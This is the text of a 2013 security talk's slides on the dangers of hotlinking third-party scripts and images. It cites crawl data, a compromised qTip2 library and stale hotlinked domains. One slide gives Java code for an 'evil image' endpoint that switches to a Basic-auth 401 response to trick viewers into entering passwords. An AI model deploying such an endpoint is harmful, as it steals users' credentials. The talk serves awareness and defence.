Hotlinking is Too Hot for Comfort
@johnwilander, GeekMeet Stockholm 2013
@johnwilander
Hotlinking ==
<img src="http://3rdparty.net">
<script src="http://3rdparty.net"></script>
@johnwilander
"You Are What You Include"by Nikiforakis et alhttp://seclab.cs.ucsb.edu/media/uploads/papers/jsinclusions.pdf
The Paper.
@johnwilander
Crawled
• Alexa Top 10,000
• Up to 500 pages per domain
• 3,000,000+ pages in total
@johnwilander
@johnwilander
Sites typically hotlink JavaScriptfrom 5-15 remote hosts
@johnwilander
If I can run a script on your site or app, what
can I do?
@johnwilander
Browser Exploitation Frameworkhttp://beefproject.com/
@johnwilander
So, who is able to run scripts on your site?
@johnwilander
Service .js% of Top
AlexaWeb analytics www.google-analytics.com/ga.js 68.37%
Dynamic Ads pagead2.googlesyndication.com/pagead/show_ads.js 23.87%
Web analytics www.google-analytics.com/urchin.js 17.32%
Social Networking connect.facebook.net/en_us/all.js 16.82%
Social Networking platform.twitter.com/widgets.js 13.87%
Social Networking & Web analytics s7.addthis.com/js/250/addthis_widget.js 12.68%
Web analytics & Tracking edge.quantserve.com/quant.js 11.98%
Market Research b.scorecardresearch.com/beacon.js 10.45%
Google Helper Functions www.google.com/jsapi 10.14%
Web analytics ssl.google-analytics.com/ga.js 10.12%
@johnwilander
Service .js% of Top
AlexaWeb analytics www.google-analytics.com/ga.js 68.37%
Dynamic Ads pagead2.googlesyndication.com/pagead/show_ads.js 23.87%
Web analytics www.google-analytics.com/urchin.js 17.32%
Social Networking connect.facebook.net/en_us/all.js 16.82%
Social Networking platform.twitter.com/widgets.js 13.87%
Social Networking & Web analytics s7.addthis.com/js/250/addthis_widget.js 12.68%
Web analytics & Tracking edge.quantserve.com/quant.js 11.98%
Market Research b.scorecardresearch.com/beacon.js 10.45%
Google Helper www.google.com/jsapi 10.14%
Web analytics ssl.google-analytics.com/ga.js 10.12%
@johnwilander
Service .js% of Top
AlexaWeb analytics www.google-analytics.com/ga.js 68.37%
Dynamic Ads pagead2.googlesyndication.com/pagead/show_ads.js 23.87%
Web analytics www.google-analytics.com/urchin.js 17.32%
Social Networking connect.facebook.net/en_us/all.js 16.82%
Social Networking platform.twitter.com/widgets.js 13.87%
Social Networking & Web analytics s7.addthis.com/js/250/addthis_widget.js 12.68%
Web analytics & Tracking edge.quantserve.com/quant.js 11.98%
Market Research b.scorecardresearch.com/beacon.js 10.45%
Google Helper www.google.com/jsapi 10.14%
Web analytics ssl.google-analytics.com/ga.js 10.12%
ga.js and urchin.js are two different versions of Google Analytics => probably not on the same site.
68.37+17.32 ≈ 85% of Alexa Top 10,000
Please don't be evil, Google.
@johnwilander
@johnwilander
https://github.com/Craga89/qTip2/issues/286
2011-12-08 there was an issue reported
@johnwilander
"sends your browser agent and another piece of info"
@johnwilander
"old Wordpress install … security vulnerability"
"infected nearly all JS files on my site"
@johnwilander
"The offending scripts have been removedas well as the Wordpress blog"
"cronjob setup that checks for changes"
"Closed"
@johnwilander
"it downloads some other exploits"
Comment
@johnwilander
https://github.com/Craga89/qTip2/issues/286
One month later …
@johnwilander
"issue is still present"
@johnwilander
"Looks like the security hole wasn't plugged after all"
"Please … do not hotlink"
"Reopened"
@johnwilander
"I've disabled the Wordpress blog on my site"
"Closed"
@johnwilander
Questions on qtip Hack
• How many end user PCs were trojanized?
• How many passwords stolen?
• How many credit card numbers stolen?
• How many internet bank logins remote controlled?
@johnwilander
Stale Hotlink Domains
@johnwilander
Alexa Top 1,000,000
Alexa Top 10,000
…Hotlinks
@johnwilander
Alexa Top 1,000,000
Alexa Top 10,000
Other domains
Hotlinks
@johnwilander
Alexa Top 1,000,000
Alexa Top 10,000
Other domains
Stale domains,open for purchase
@johnwilander
The Stale Numbers
• +3,000,000 pages crawled
• 4,225 hotlinked domains outsideAlexa Top 1,000,000
• 50 domains stale, i.e. no longer registered
@johnwilander
Nick et al purchased two of those stale
domains
@johnwilander
Alexa Top 10,000
Stale domains
goldprice.org
hbotapadmin.com
hbo.com
blogtools.us
@johnwilander
Alexa Top 10,000
Stale domains
goldprice.org
hbotapadmin.com
hbo.com
23 less popular sites
blogtools.us
…
@johnwilander
Alexa Top 10,000
Stale domains
goldprice.org
hbotapadmin.com
hbo.com
blogtools.us
…
blogtools.us
hbotapadmin.com
80,466 4,615Visits (15 days)
23 less popular sites
@johnwilander
Alexa Top 10,000
Stale domains
goldprice.org
hbotapadmin.com
hbo.com
blogtools.us
…
Including domains
Including pages
blogtools.us
hbotapadmin.com
80,466
24
84
4,615
4
41
Visits (15 days)
23 less popular sites
@johnwilander
The Case of the Unauthorized Image
@johnwilander
”Hotlinked images,can they bite me too?”
@johnwilander
<script src="http://3rdparty.net"></script>
<img src="http://3rdparty.net">
OK, this might be bad
But this?
@johnwilander
@johnwilander
What if Meetup allowedprofile images to be hotlinked?
@johnwilander
Meanwhile, at the Attacker’s Server …
@johnwilander
src/main/webapp/ css/… img/thumb_john.jpg js/… html/…
Including images typically looks like thisin a web app project:
But an attacker could instead resolve that image URL in code, like this …
@johnwilander
private static final String IMG_PATH = "/img/thumb_john.jpg";private boolean returnUnauthorized = false;@GET@Path("/thumb_john.jpg")@Produces("image/jpg")public Response getEvilImage(@Context ServletContext context) { if (returnUnauthorized) { return Response.status(Response.Status.UNAUTHORIZED) .header("WWW-Authenticate", "Basic").build(); } else { try { BufferedImage image = ImageIO.read(context.getResourceAsStream(IMG_PATH)); ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); ImageIO.write(image, "jpg", outputStream); byte[] imageData = outputStream.toByteArray(); return Response.ok(imageData).build(); } catch (IOException e) { e.printStackTrace(); return Response.serverError().build(); } }}
@johnwilander
private static final String IMG_PATH = "/images/thumb_john.jpg";private boolean returnUnauthorized = false;@GET@Path("/thumb_john.jpg")@Produces("image/jpg")public Response getEvilImage(@Context ServletContext context) { if (returnUnauthorized) { return Response.status(Response.Status.UNAUTHORIZED) .header("WWW-Authenticate", "Basic").build(); } else { try { BufferedImage image = ImageIO.read(context.getResourceAsStream(IMG_PATH)); ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); ImageIO.write(image, "jpg", outputStream); byte[] imageData = outputStream.toByteArray(); return Response.ok(imageData).build(); } catch (IOException e) { e.printStackTrace(); return Response.serverError().build(); } }}
… adding some nasty, alternate behavior.
@johnwilander
@johnwilander
Now what will John Doe enter?
@johnwilander
Some more nails for the coffin …
• CSS files can execute JavaScript (expressions in IE6-7 and XBL in Firefox)
• SVGs can execute JavaScript
• Gif files can be edited to become executable JavaScript and HTML